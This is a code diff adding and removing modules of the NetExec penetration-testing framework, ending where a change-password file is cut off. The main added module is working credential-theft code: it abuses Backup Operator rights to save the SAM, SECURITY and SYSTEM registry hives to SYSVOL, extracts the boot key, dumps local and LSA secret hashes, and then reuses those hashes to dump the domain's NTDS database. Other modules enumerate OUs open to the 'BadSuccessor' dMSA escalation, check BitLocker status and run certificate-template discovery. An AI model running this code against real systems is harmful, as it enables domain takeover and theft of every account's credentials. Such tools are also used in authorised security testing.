+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+        self.local_admin = None
+        self.local_admin_hash = None
+        self.machine_account = None
+        self.machine_account_hash = None
+        self.cleanup_user = None
+        self.cleanup_hash = None
+        self.system_hive_saved = False
+
+    def options(self, context, module_options):
+        """NO OPTIONS"""
+
+    def get_boot_key(self, context, dce):
+        """
+        Reads the boot key LIVE from the four Lsa subkeys' class-name field over RPC,
+        using the already-connected `dce` this module sets up for the SAM/SECURITY
+        hive saves. If this succeeds, no SYSTEM hive is ever saved to SYSVOL or
+        downloaded at all.
+
+        Hand-ported from impacket's RemoteOperations.getBootKey() rather than calling
+        RemoteOperations directly, because RemoteOperations.enableRegistry() starts the
+        RemoteRegistry service via the Service Control Manager -- which needs admin-level
+        rights a plain Backup Operator doesn't have. This module already gets
+        RemoteRegistry running via trigger_winreg()'s named-pipe trick instead, which
+        works within Backup Operator's actual privileges (SeBackupPrivilege), so we reuse
+        that connection here.
+
+        Raises on any failure (access denied, path not allowed remotely, RPC error, etc.)
+        so the caller can fall back to the full SYSTEM hive save/download path.
+        """
+        boot_key = b""
+        ans = rrp.hOpenLocalMachine(dce)
+        reg_handle = ans["phKey"]
+
+        for key in ["JD", "Skew1", "GBG", "Data"]:
+            context.log.debug(f"Retrieving class info for Lsa\\{key}")
+            ans = rrp.hBaseRegOpenKey(
+                dce,
+                reg_handle,
+                f"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}",
+                dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,
+                samDesired=rrp.KEY_READ,
+            )
+            key_handle = ans["phkResult"]
+            ans = rrp.hBaseRegQueryInfoKey(dce, key_handle)
+            class_out = ans["lpClassOut"]
+            if isinstance(class_out, str):
+                class_out = class_out.encode()
+            boot_key += class_out[:-1]
+            rrp.hBaseRegCloseKey(dce, key_handle)
+
+        rrp.hBaseRegCloseKey(dce, reg_handle)
+
+        transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
+        boot_key = unhexlify(boot_key)
+
+        final_boot_key = b""
+        for i in range(len(boot_key)):
+            final_boot_key += boot_key[transforms[i]:transforms[i] + 1]
+
+        return final_boot_key
+
+    def on_login(self, context, connection):
+        connection.args.share = "SYSVOL"
+        rand_suffix = gen_random_string(8)
+
+        # enable remote registry
+        context.log.display("Triggering RemoteRegistry to start through named pipe...")
+        connection.trigger_winreg()
+        dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
+
+        boot_key = None
+        try:
+            # Large hives can take minutes to save before the RPC call returns.
+            connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
+            for hive in ["HKLM\\SAM", "HKLM\\SECURITY"]:
+                hRootKey, subKey = self._strip_root_key(dce, hive)
+                outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
+                context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
+                try:
+                    ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
+                    rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
+                    context.log.highlight(f"Saved {hive} to {outputFileName}")
+                except Exception as e:
+                    context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
+                    return
+
+            try:
+                context.log.display("Attempting to retrieve boot key live from the remote registry...")
+                boot_key = self.get_boot_key(context, dce)
+                context.log.highlight("Boot key retrieved live -- skipping SYSTEM hive save/download.")
+            except Exception as e:
+                context.log.fail(f"Live boot key retrieval failed ({type(e).__name__}: {e}), falling back to full SYSTEM hive download...")
+                boot_key = None
+
+            if boot_key is None:
+                hRootKey, subKey = self._strip_root_key(dce, "HKLM\\SYSTEM")
+                outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
+                context.log.debug("Dumping HKLM\\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
+                try:
+                    ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
+                    rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
+                    context.log.highlight(f"Saved HKLM\\SYSTEM to {outputFileName}")
+                    self.system_hive_saved = True
+                except Exception as e:
+                    context.log.fail(f"Couldn't save HKLM\\SYSTEM: {e} on path {outputFileName}")
+                    return
+        except (Exception, KeyboardInterrupt) as e:
+            context.log.fail(f"Unexpected error: {e}")
+            return
+        finally:
+            connection.conn.setTimeout(connection.args.smb_timeout)
+            with contextlib.suppress(Exception):
+                dce.disconnect()
+
+        # copy remote file to local
+        log_path = f"{connection.output_filename}."
+        connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
+        hives_to_download = ["SAM", "SECURITY"]
+        if self.system_hive_saved:
+            hives_to_download.append("SYSTEM")
+        for hive in hives_to_download:
+            connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
+        connection.conn.setTimeout(connection.args.smb_timeout)
+
+        # read local file
+        try:
+            def parse_sam(secret):
+                context.log.highlight(secret)
+                if not self.local_admin:
+                    first_line = secret.strip().splitlines()[0]
+                    fields = first_line.split(":")
+                    if len(fields) >= 4:
+                        self.local_admin = fields[0]
+                        self.local_admin_hash = fields[3]
+
+            def parse_lsa(secret_type, secret):
+                context.log.highlight(secret)
+                if self.machine_account:
+                    return
+                for line in secret.splitlines():
+                    match = re.search(r"aad3b435b51404eeaad3b435b51404ee:([0-9a-f]{32})", line, re.IGNORECASE)
+                    if match:
+                        self.machine_account_hash = match.group(1)
+                        account_name = line.split(":", 1)[0].strip().split("\\")[-1]
+                        # "$MACHINE.ACC" has no real name -> derive it from the connection.
+                        self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
+                        return
+
+            if boot_key is None:
+                local_operations = LocalOperations(log_path + "SYSTEM")
+                boot_key = local_operations.getBootKey()
+
+            sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
+            sam_hashes.dump()
+            sam_hashes.finish()
+
+            LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa)
+            LSA.dumpCachedHashes()
+            LSA.dumpSecrets()
+        except Exception as e:
+            context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
+
+        dump_creds = None
+        for username, user_hash in [(self.machine_account, self.machine_account_hash), (self.local_admin, self.local_admin_hash)]:
+            if self._try_dump_ntds(connection, context, username, user_hash):
+                dump_creds = (username, user_hash)
+                break
+
+        if dump_creds:
+            self.cleanup_user, self.cleanup_hash = self._extract_da_hash(connection.output_filename, context)
+            if not self.cleanup_user or not self.cleanup_hash:
+                self.cleanup_user, self.cleanup_hash = dump_creds
+
+            self._perform_cleanup(connection, context, self.cleanup_user, self.cleanup_hash, rand_suffix)
+        else:
+            context.log.fail("Failed to obtain suitable credentials for NTDS dump or cleanup.")
+            self._print_cleanup_warning(context, rand_suffix)
+
+    def _try_dump_ntds(self, connection, context, username, user_hash):
+        if not username or not user_hash:
+            return False
+        with contextlib.suppress(Exception):
+            connection.conn.logoff()
+        connection.create_conn_obj()
+        if connection.hash_login(connection.domain, username, user_hash):
+            try:
+                context.log.display(f"Dumping NTDS using {username}...")
+                connection.ntds()
+                return True
+            except Exception as e:
+                context.log.fail(f"Fail to dump the NTDS with {username}: {e!s}")
+        return False
+
+    def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix):
+        if not username or not user_hash:
+            self._print_cleanup_warning(context, rand_suffix)
+            return
+        context.log.display(f"Using {username} to clean up files...")
+        with contextlib.suppress(Exception):
+            connection.conn.logoff()
+        connection.create_conn_obj()
+        if connection.hash_login(connection.domain, username, user_hash):
+            context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
+            hives = ["SAM", "SECURITY"]
+            if self.system_hive_saved:
+                hives.append("SYSTEM")
+            all_deleted = True
+            for hive in hives:
+                remote_name = f"{hive}_{rand_suffix}"
+                try:
+                    connection.conn.deleteFile("SYSVOL", remote_name)
+                    context.log.debug(f"File {remote_name} deleted successfully via SMB.")
+                except SessionError as e:
+                    if "STATUS_NO_SUCH_FILE" in str(e):
+                        context.log.debug(f"File {remote_name} already removed or not found.")
+                        continue
+                    if "STATUS_ACCESS_DENIED" in str(e):
+                        context.log.debug(f"SMB deleteFile for {remote_name} got access denied. Attempting deletion via cmd execution...")
+                        try:
+                            connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\{remote_name}")
+                            continue
+                        except Exception as exec_err:
+                            context.log.debug(f"Failed to delete {remote_name} via command execution: {exec_err}")
+                    all_deleted = False
+                    context.log.fail(f"Fail to remove the file {remote_name}: {e!s}")
+
+            if all_deleted:
+                double_check = True
+                for hive in hives:
+                    remote_name = f"{hive}_{rand_suffix}"
+                    try:
+                        if connection.conn.listPath("SYSVOL", remote_name):
+                            double_check = False
+                            context.log.fail(f"File {remote_name} still exists on C:\\Windows\\sysvol\\sysvol\\{remote_name}")
+                    except SessionError:
+                        pass
+                if double_check:
+                    context.log.display("Successfully deleted dump files !")
+                    return
+
+        self._print_cleanup_warning(context, rand_suffix)
+
+    def _extract_da_hash(self, output_filename, context):
+        try:
+            with open(f"{output_filename}.ntds") as f:
+                fallback = None
+                for line in f:
+                    fields = line.strip().split(":")
+                    if len(fields) < 4 or not fields[3]:
+                        continue
+                    da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0]
+                    if fields[1] == "500":
+                        return da_user, fields[3]
+                    if fallback is None:
+                        fallback = (da_user, fields[3])
+                if fallback:
+                    return fallback
+        except Exception as e:
+            context.log.debug(f"Failed to read NTDS file for cleanup: {e}")
+        return None, None
+
+    def _print_cleanup_warning(self, context, rand_suffix):
+        paths = f"C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}"
+        if self.system_hive_saved:
+            paths += f", SYSTEM_{rand_suffix}"
+        context.log.fail(f"Files were not automatically deleted. Please clean up manually: {paths}")
+
+    def _strip_root_key(self, dce, key_name):
+        # Let's strip the root key
+        key_name.split("\\")[0]
+        sub_key = "\\".join(key_name.split("\\")[1:])
+        ans = rrp.hOpenLocalMachine(dce)
+        h_root_key = ans["phKey"]
+        return h_root_key, sub_key

nxc/modules/badsuccessor.py

@@ -0,0 +1,216 @@
+from impacket.ldap import ldaptypes
+from nxc.helpers.misc import CATEGORY
+from nxc.parsers.ldap_results import parse_result_attributes
+from ldap3.protocol.microsoft import security_descriptor_control
+
+RELEVANT_OBJECT_TYPES = {
+    "00000000-0000-0000-0000-000000000000": "All Objects",
+    "0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
+}
+
+EXCLUDED_SIDS_SUFFIXES = ["-512", "-519"]  # Domain Admins, Enterprise Admins
+EXCLUDED_SIDS = ["S-1-5-32-544", "S-1-5-18"]  # Builtin Administrators, Local SYSTEM
+
+# Define all access rights
+ACCESS_RIGHTS = {
+    # Generic Rights
+    "GenericRead": 0x80000000,  # ADS_RIGHT_GENERIC_READ
+    "GenericWrite": 0x40000000,  # ADS_RIGHT_GENERIC_WRITE
+    "GenericExecute": 0x20000000,  # ADS_RIGHT_GENERIC_EXECUTE
+    "GenericAll": 0x10000000,  # ADS_RIGHT_GENERIC_ALL
+
+    # Maximum Allowed access type
+    "MaximumAllowed": 0x02000000,
+
+    # Access System Acl access type
+    "AccessSystemSecurity": 0x01000000,  # ADS_RIGHT_ACCESS_SYSTEM_SECURITY
+
+    # Standard access types
+    "Synchronize": 0x00100000,  # ADS_RIGHT_SYNCHRONIZE
+    "WriteOwner": 0x00080000,  # ADS_RIGHT_WRITE_OWNER
+    "WriteDACL": 0x00040000,  # ADS_RIGHT_WRITE_DAC
+    "ReadControl": 0x00020000,  # ADS_RIGHT_READ_CONTROL
+    "Delete": 0x00010000,  # ADS_RIGHT_DELETE
+
+    # Specific rights
+    "AllExtendedRights": 0x00000100,  # ADS_RIGHT_DS_CONTROL_ACCESS
+    "ListObject": 0x00000080,  # ADS_RIGHT_DS_LIST_OBJECT
+    "DeleteTree": 0x00000040,  # ADS_RIGHT_DS_DELETE_TREE
+    "WriteProperties": 0x00000020,  # ADS_RIGHT_DS_WRITE_PROP
+    "ReadProperties": 0x00000010,  # ADS_RIGHT_DS_READ_PROP
+    "Self": 0x00000008,  # ADS_RIGHT_DS_SELF
+    "ListChildObjects": 0x00000004,  # ADS_RIGHT_ACTRL_DS_LIST
+    "DeleteChild": 0x00000002,  # ADS_RIGHT_DS_DELETE_CHILD
+    "CreateChild": 0x00000001,  # ADS_RIGHT_DS_CREATE_CHILD
+}
+
+# Define which rights are considered relevant for potential abuse
+RELEVANT_RIGHTS = {
+    "GenericAll": ACCESS_RIGHTS["GenericAll"],
+    "GenericWrite": ACCESS_RIGHTS["GenericWrite"],
+    "WriteOwner": ACCESS_RIGHTS["WriteOwner"],
+    "WriteDACL": ACCESS_RIGHTS["WriteDACL"],
+    "CreateChild": ACCESS_RIGHTS["CreateChild"],
+    "WriteProperties": ACCESS_RIGHTS["WriteProperties"],
+    "AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"]
+}
+
+FUNCTIONAL_LEVELS = {
+    "Windows 2000": 0,
+    "Windows Server 2003": 1,
+    "Windows Server 2003 R2": 2,
+    "Windows Server 2008": 3,
+    "Windows Server 2008 R2": 4,
+    "Windows Server 2012": 5,
+    "Windows Server 2012 R2": 6,
+    "Windows Server 2016": 7,
+    "Windows Server 2019": 8,
+    "Windows Server 2022": 9,
+    "Windows Server 2025": 10,
+}
+
+
+class NXCModule:
+    """
+    -------
+    Module by @mpgn based on https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory#credentials
+    and https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1
+    """
+
+    name = "badsuccessor"
+    description = "Check if vulnerable to bad successor attack (DMSA)"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self):
+        self.context = None
+        self.module_options = None
+
+    def options(self, context, module_options):
+        """No options available"""
+
+    def is_excluded_sid(self, sid, domain_sid):
+        if sid in EXCLUDED_SIDS:
+            return True
+        return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
+
+    def get_domain_sid(self):
+        """Retrieve the domain SID from the domain object in LDAP"""
+        r = self.connection.search(
+            searchFilter="(objectClass=domain)",
+            attributes=["objectSid"]
+        )
+        parsed = parse_result_attributes(r)
+        if parsed and "objectSid" in parsed[0]:
+            return parsed[0]["objectSid"]
+
+    def find_bad_successor_ous(self, entries):
+        domain_sid = self.get_domain_sid()
+        results = {}
+        parsed = parse_result_attributes(entries)
+        for entry in parsed:
+            dn = entry["distinguishedName"]
+            sd_data = entry["nTSecurityDescriptor"]
+            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)
+
+            for ace in sd["Dacl"]["Data"]:
+                if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
+                    continue
+
+                has_relevant_right = False
+                mask = int(ace["Ace"]["Mask"]["Mask"])
+                for right_value in RELEVANT_RIGHTS.values():
+                    if mask & right_value:
+                        has_relevant_right = True
+                        break
+
+                if not has_relevant_right:
+                    continue  # Skip this ACE if it doesn't have any relevant rights
+
+                object_type = getattr(ace, "ObjectType", None)
+                if object_type:
+                    object_guid = ldaptypes.bin_to_string(object_type).lower()
+                    if object_guid not in RELEVANT_OBJECT_TYPES:
+                        continue
+
+                sid = ace["Ace"]["Sid"].formatCanonical()
+                if self.is_excluded_sid(sid, domain_sid):
+                    continue
+
+                results.setdefault(sid, []).append(dn)
+
+            if hasattr(sd, "OwnerSid"):
+                owner_sid = str(sd["OwnerSid"])
+                if not self.is_excluded_sid(owner_sid, domain_sid):
+                    results.setdefault(owner_sid, []).append(dn)
+        return results
+
+    def resolve_sid_to_name(self, sid):
+        """
+        Resolves a SID to a samAccountName using LDAP
+
+        Args:
+        ----
+            sid: The SID to resolve
+
+        Returns:
+        -------
+            str: The samAccountName if found, otherwise the original SID
+        """
+        try:
+            search_filter = f"(objectSid={sid})"
+            response = self.connection.search(
+                searchFilter=search_filter,
+                attributes=["sAMAccountName"]
+            )
+
+            parsed = parse_result_attributes(response)
+            if parsed and "sAMAccountName" in parsed[0]:
+                return parsed[0]["sAMAccountName"]
+            return sid
+        except Exception:
+            return sid
+
+    def on_login(self, context, connection):
+        self.connection = connection
+
+        # Check for a domain controller with Windows Server 2025
+        resp = self.connection.search(
+            searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
+            attributes=["operatingSystem", "dNSHostName"]
+        )
+        parsed_resp = parse_result_attributes(resp)
+
+        for dc in parsed_resp:
+            if "2025" in dc["operatingSystem"]:
+                out = connection.resolver(dc["dNSHostName"])
+                dc_ip = out["host"] if out else "Unknown IP"
+                context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})")
+            else:
+                context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.")
+
+        # Enumerate dMSA objects
+        controls = security_descriptor_control(sdflags=0x07)  # OWNER_SECURITY_INFORMATION
+        resp = self.connection.search(
+            searchFilter="(objectClass=organizationalUnit)",
+            attributes=["distinguishedName", "nTSecurityDescriptor"],
+            searchControls=controls
+        )
+
+        context.log.debug(f"Found {len(resp)} entries")
+
+        results = self.find_bad_successor_ous(resp)
+
+        if results:
+            context.log.success(f"Found {len(results)} results")
+        else:
+            context.log.highlight("No account found")
+
+        for sid, ous in results.items():
+            samaccountname = self.resolve_sid_to_name(sid)
+
+            for ou in ous:
+                if sid == samaccountname:
+                    context.log.highlight(f"{sid}, {ou}")
+                else:
+                    context.log.highlight(f"{samaccountname} ({sid}), {ou}")

nxc/modules/bh_owned.py

@@ -1,87 +0,0 @@
-# Author:
-#  Romain Bentz (pixis - @hackanddo)
-# Website:
-#  https://beta.hackndo.com [FR]
-#  https://en.hackndo.com [EN]
-
-import sys
-from neo4j import GraphDatabase
-from neo4j.exceptions import AuthError, ServiceUnavailable
-
-
-class NXCModule:
-    name = "bh_owned"
-    description = "Set pwned computer as owned in Bloodhound"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-        self.neo4j_pass = None
-        self.neo4j_user = None
-        self.neo4j_Port = None
-        self.neo4j_URI = None
-
-    def options(self, context, module_options):
-        """
-        URI            URI for Neo4j database (default: 127.0.0.1)
-        PORT           Listening port for Neo4j database (default: 7687)
-        USER           Username for Neo4j database (default: 'neo4j')
-        PASS           Password for Neo4j database (default: 'neo4j')
-        """
-        self.neo4j_URI = "127.0.0.1"
-        self.neo4j_Port = "7687"
-        self.neo4j_user = "neo4j"
-        self.neo4j_pass = "neo4j"
-
-        if module_options and "URI" in module_options:
-            self.neo4j_URI = module_options["URI"]
-        if module_options and "PORT" in module_options:
-            self.neo4j_Port = module_options["PORT"]
-        if module_options and "USER" in module_options:
-            self.neo4j_user = module_options["USER"]
-        if module_options and "PASS" in module_options:
-            self.neo4j_pass = module_options["PASS"]
-
-    def on_admin_login(self, context, connection):
-        domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
-
-        host_fqdn = f"{connection.hostname}.{domain}".upper()
-        uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
-        context.log.debug(f"Neo4j URI: {uri}")
-        context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
-
-        try:
-            driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
-        except AuthError:
-            context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
-            sys.exit()
-        except ServiceUnavailable:
-            context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
-            sys.exit()
-        except Exception as e:
-            context.log.fail("Unexpected error with Neo4J")
-            context.log.debug(f"Error {e}: ")
-            sys.exit()
-
-        with driver.session() as session:
-            try:
-                with session.begin_transaction() as tx:
-                    result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
-                    record = result.single()
-                    try:
-                        value = record.value()
-                    except AttributeError:
-                        value = []
-            except ServiceUnavailable as e:
-                context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
-                context.log.debug(f"Error {e}: ")
-                driver.close()
-                sys.exit()
-        if len(value) > 0:
-            context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
-        else:
-            context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
-        driver.close()

nxc/modules/bitlocker.py

@@ -0,0 +1,116 @@
+import re
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    name = "bitlocker"
+    description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
+    supported_protocols = ["smb", "wmi"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        """
+        USAGE:
+
+        NetExec smb <IP> -u <username> -p <password> -M bitlocker
+        NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
+        """
+
+    def on_admin_login(self, context, connection):
+        if context.protocol == "smb":
+            bitlocker_smb = BitLockerSMB(context, connection)
+            bitlocker_smb.check_bitlocker_status()
+        elif context.protocol == "wmi":
+            bitlocker_wmi = BitLockerWMI(context, connection)
+            bitlocker_wmi.check_bitlocker_status()
+
+
+class BitLockerSMB:
+    def __init__(self, context, connection):
+        self.context = context
+        self.connection = connection
+
+    def check_bitlocker_status(self):
+        # PowerShell command to check BitLocker volumes status.
+        check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
+
+        try:
+            # Executing the PowerShell command to get BitLocker volumes status.
+            check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
+
+            if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
+                self.context.log.fail("BitLockerVolume not found on target.")
+                return
+
+            # Splitting the output into lines.
+            lines = str(check_bitlocker_command_str_output).splitlines()
+            data_lines = [line for line in lines if re.match(r"\w:", line)]
+
+            for line in data_lines:
+                # Checking every line for starting with drive
+                if line[1] == ":":
+                    parts = line.split()
+                    MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
+
+                    # Checking if BitLocker is enabled.
+                    if protection_status == "On":
+                        self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
+                    else:
+                        self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
+        except Exception as e:
+            self.context.log.exception(f"Exception occurred: {e}")
+
+
+class BitLockerWMI:
+    def __init__(self, context, connection):
+        self.context = context
+        self.connection = connection
+
+    def check_bitlocker_status(self):
+        # Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
+        # creating a second DCOMConnection to the same target (whose disconnect
+        # would clash with the protocol's own)
+        try:
+            iWbemLevel1Login = self.connection.iWbemLevel1Login
+            bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
+            iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
+            iWbemLevel1Login.RemRelease()
+            iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+
+            classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
+            iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
+            encryptionTypeMapping = {
+                0: "None",
+                1: "AES_128_WITH_DIFFUSER",
+                2: "AES_256_WITH_DIFFUSER",
+                3: "AES_128",
+                4: "AES_256",
+                5: "HARDWARE_ENCRYPTION",
+                6: "XTS_AES_128",
+                7: "XTS_AES_256_WITH_DIFFUSER"
+            }
+
+            try:
+                while True:
+                    iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
+                    encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
+                    if iWbemClassObject[0].ProtectionStatus == 1:
+                        self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
+                    else:
+                        if encryptionMethod == 0:  # Should be 0 if disabled
+                            self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
+            except Exception:
+                pass  # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
+
+            iWbemServices.RemRelease()
+        except Exception as e:
+            if "WBEM_E_INVALID_NAMESPACE" in str(e):
+                self.context.log.fail("BitLockerNamespace not found on target.")
+            else:
+                self.context.log.exception(f"Exception occurred: {e}")

nxc/modules/certipy-find.py

@@ -0,0 +1,142 @@
+#!/usr/bin/env python3
+import json
+import socket
+from os import makedirs
+from os.path import join
+from certipy.commands.find import Find
+from certipy.lib.target import Target, DnsResolver
+from certipy.lib.formatting import pretty_print
+from datetime import datetime
+
+from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
+from nxc.paths import NXC_PATH
+
+
+class NXCModule:
+    """Module made by: @NeffIsBack, @gatariee"""
+    name = "certipy-find"
+    description = "certipy find command with options to export the result to text/csv/json. Default: Show only vulnerable templates"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        """
+        VULN        Show only vulnerable configurations (Default: True)
+        ENABLED     Show only enabled templates
+
+        Export options:
+        TEXT        Export results to a plain text file
+        CSV         Export results to a CSV file
+        JSON        Export results to a JSON file
+        """
+        self.vuln = True
+        self.enabled = False
+        self.output_path = join(NXC_PATH, "modules", "certipy-find")
+        self.json = False
+        self.csv = False
+        self.text = False
+
+        if "VULN" in module_options:
+            self.vuln = module_options["VULN"].lower() in ["true", "1", "yes"]
+        if "ENABLED" in module_options:
+            self.enabled = module_options["ENABLED"].lower() in ["true", "1", "yes"]
+
+        # Export options
+        if "JSON" in module_options:
+            self.json = module_options["JSON"].lower() in ["true", "1", "yes"]
+        if "CSV" in module_options:
+            self.csv = module_options["CSV"].lower() in ["true", "1", "yes"]
+        if "TEXT" in module_options:
+            self.text = module_options["TEXT"].lower() in ["true", "1", "yes"]
+
+    def on_login(self, context, connection):
+        dns_server = connection.args.dns_server
+        if not dns_server:
+            try:
+                # If connection.host is an IP, use it as DNS
+                socket.inet_aton(connection.host)
+                dns_server = connection.host
+            except Exception:
+                # Otherwise let DnsResolver use system resolver (None)
+                dns_server = None
+
+        resolv = DnsResolver.create(dns_server)
+
+        # prefer connection.hostname if present, otherwise connection.host
+        remote = (connection.hostname or connection.host) or ""
+        remote = (f"{remote}.{connection.domain}".lower() if "." not in remote else remote.lower()) if connection.domain else remote.lower()
+
+        target = Target(
+            resolver=resolv,
+            domain=connection.domain,
+            username=connection.username,
+            password=connection.password,
+            remote_name=connection.remoteName,
+            hashes=f"{connection.lmhash}:{connection.nthash}",
+            lmhash=connection.lmhash,
+            nthash=connection.nthash,
+            do_kerberos=connection.kerberos,
+            aes=connection.aesKey,
+            dc_ip=connection.kdcHost,
+            target_ip=connection.host,
+            ldap_port=connection.port,
+            ldap_scheme="ldaps" if connection.port == 636 else "ldap",
+            ldap_signing=connection.signing_required,
+            ldap_channel_binding=connection.cbt_status in ["Always", "When Supported"],
+        )
+
+        finder = Find(
+            target=target,
+            json=self.json,
+            csv=self.csv,
+            text=self.text,
+            output_path=self.output_path,
+            stdout=True,
+            vulnerable=self.vuln,
+            enabled=self.enabled,
+        )
+
+        # Get templates and CAs
+        templates = finder.get_certificate_templates()
+        cas = finder.get_certificate_authorities()
+        finder._link_cas_and_templates(cas, templates)
+
+        # Get OIDs
+        oids = finder.get_issuance_policies()
+
+        # Process information
+        finder._link_templates_and_policies(templates, oids)
+        finder._process_ca_properties(cas)
+        finder._process_template_properties(templates)
+
+        output = finder.get_output_for_text_and_json(templates, cas, oids)
+        pretty_print(output, print_func=context.log.highlight)
+
+        # Save to disk if any export option specified
+        if self.json or self.csv or self.text:
+            makedirs(self.output_path, exist_ok=True)
+
+        filename = sanitize_path_component(f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
+        if self.json:
+            with open(join(self.output_path, f"{filename}.json"), "w") as f:
+                json.dump(
+                    output,
+                    f,
+                    indent=2,
+                    default=str,
+                )
+        if self.csv:
+            template_output = finder.get_template_output_for_csv(output)
+            ca_output = finder.get_ca_output_for_csv(output)
+            with open(join(self.output_path, f"{filename}-templates.csv"), "w") as f:
+                f.write(template_output)
+            with open(join(self.output_path, f"{filename}-cas.csv"), "w") as f:
+                f.write(ca_output)
+        if self.text:
+            with open(join(self.output_path, f"{filename}.txt"), "w") as f:
+                pretty_print(output, print_func=lambda x: f.write(x + "\n"))

nxc/modules/change-password.py

@@ -0,0 +1,149 @@
+import sys
